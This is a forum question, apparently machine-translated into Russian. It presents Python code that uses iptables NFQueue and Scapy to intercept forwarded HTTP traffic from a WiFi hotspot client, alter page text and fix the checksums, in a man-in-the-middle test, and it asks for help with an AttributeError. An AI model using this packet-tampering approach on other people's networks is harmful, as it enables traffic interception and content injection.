NFQueue / Scapy Man in the Middle - PullRequest
2 голосов
/ 28 июня 2019

Я пытаюсь создать человека в середине атаки на веб-странице (то есть HTTP-трафик).Я делаю это с помощью Linux-машины, подключенной к Ethernet, и клиента, подключенного к Linux-блоку через его точку доступа WiFi.

На данный момент я использовал NFQueue из брандмауэра Linux IPTables для маршрутизации всех пакетов TCP в цепочке FORWARD в очередь NFQueue, которую собирает скрипт Python и затем обрабатывает эти правила.,Я могу прочитать данные из ответных пакетов HTTP, но всякий раз, когда я пытаюсь изменить их и передать обратно (принять пакеты), я получаю сообщение об ошибке в строках:

Exception AttributeError: "'str' object has no attribute 'build_padding'" in 'netfilterqueue.global_callback' ignored

Мой код здесь, который включает в себя вещи, которые я пробовал, которые не работали.Примечательно, что я использую стороннее расширение для scapy под названием scapy_http, которое может мешать вещам, и я использую веб-страницу, которая не сжимается gzip, потому что это тоже мешало.Тестовая веб-страница, которую я использую: здесь .

#scapy
from scapy.all import *

#nfqueue import
from netfilterqueue import NetfilterQueue

#scapy http extension, not really needed
import scapy_http.http

#failed gzip decoding, also tried some other stuff
#import gzip

def print_and_accept(packet):
    #convert nfqueue datatype to scapy-compatible
    pkt = IP(packet.get_payload())

    #is this an HTTP response?
    if pkt[TCP].sport == 80:
        #legacy trial that doesn't work
        #data = packet.get_data()
        print('HTTP Packet Found')

        #check what's in the payload
        stringLoad = str(pkt[TCP].payload)

        #deleted because printing stuff out clogs output
        #print(stringLoad)

        #we only want to modify a specific packet:
        if "<title>Acids and Bases: Use of the pKa Table</title>" in stringLoad:
            print('Target Found')

            #strings kind of don't work, I think this is a me problem
            #stringLoad.replace('>Acids and Bases: Use of the pK<sub>a</sub>', 'This page has been modified: a random ')
            #pkt[TCP].payload = stringLoad


            #https://stackoverflow.com/questions/27293924/change-tcp-payload-with-nfqueue-scapy
            payload_before = len(pkt[TCP].payload)

            # I suspect this line is a problem: the string assigns,
            # but maybe under the hood scapy doesn't like that very much
            pkt[TCP].payload = str(pkt[TCP].payload).replace("Discussion", "This page has been modified")

            #recalculate length
            payload_after = len(pkt[TCP].payload)

            payload_dif = payload_after - payload_before

            pkt[IP].len = pkt[IP].len + payload_dif

            #recalculate checksum
            del pkt[TCP].chksum
            del pkt[IP].chksum
            del pkt.chksum


            print('Packet Modified')
            #redudant
            #print(stringLoad)

            #this throws an error (I think)
            print(str(pkt[TCP].payload))
            #no clue if this works or not yet
            #goal here is to reassign modified packet to original parameter
            packet.set_payload(str(pkt))

            #this was also throwing the error, so tried to move away from it
            #print(pkt.show2())

        #bunch of legacy code that didn't work
        #print(GET_print(pkt))
        #print(pkt.show())
        #decompressed_data = zlib.decompress(str(pkt[TCP].payload), 16 + zlib.MAX_WBITS)
        #print(decompressed_data)
        #print(str(gzip.decompress(pkt[TCP].payload)))
        # print(pkt.getlayer(Raw).load)

        #print('HTTP Contents Shown')

    packet.accept()

def GET_print(packet1):
    ret = "***************************************GET PACKET****************************************************\n"
    ret += "\n".join(packet1.sprintf("{Raw:%Raw.load%}\n").split(r"\r\n"))
    ret += "*****************************************************************************************************\n"
    return ret

print('Test: Modify a very specific target')
print('Program Starting')
nfqueue = NetfilterQueue()
nfqueue.bind(1, print_and_accept)
try:
    print('Packet Interface Starting')
    nfqueue.run()
except KeyboardInterrupt:
    print('\nProgram Ending')

nfqueue.unbind()

Заранее извиняюсь за трудность чтения или плохо отформатированный код;Python - это не тот язык, на котором я часто пишу.Любая помощь с благодарностью!

...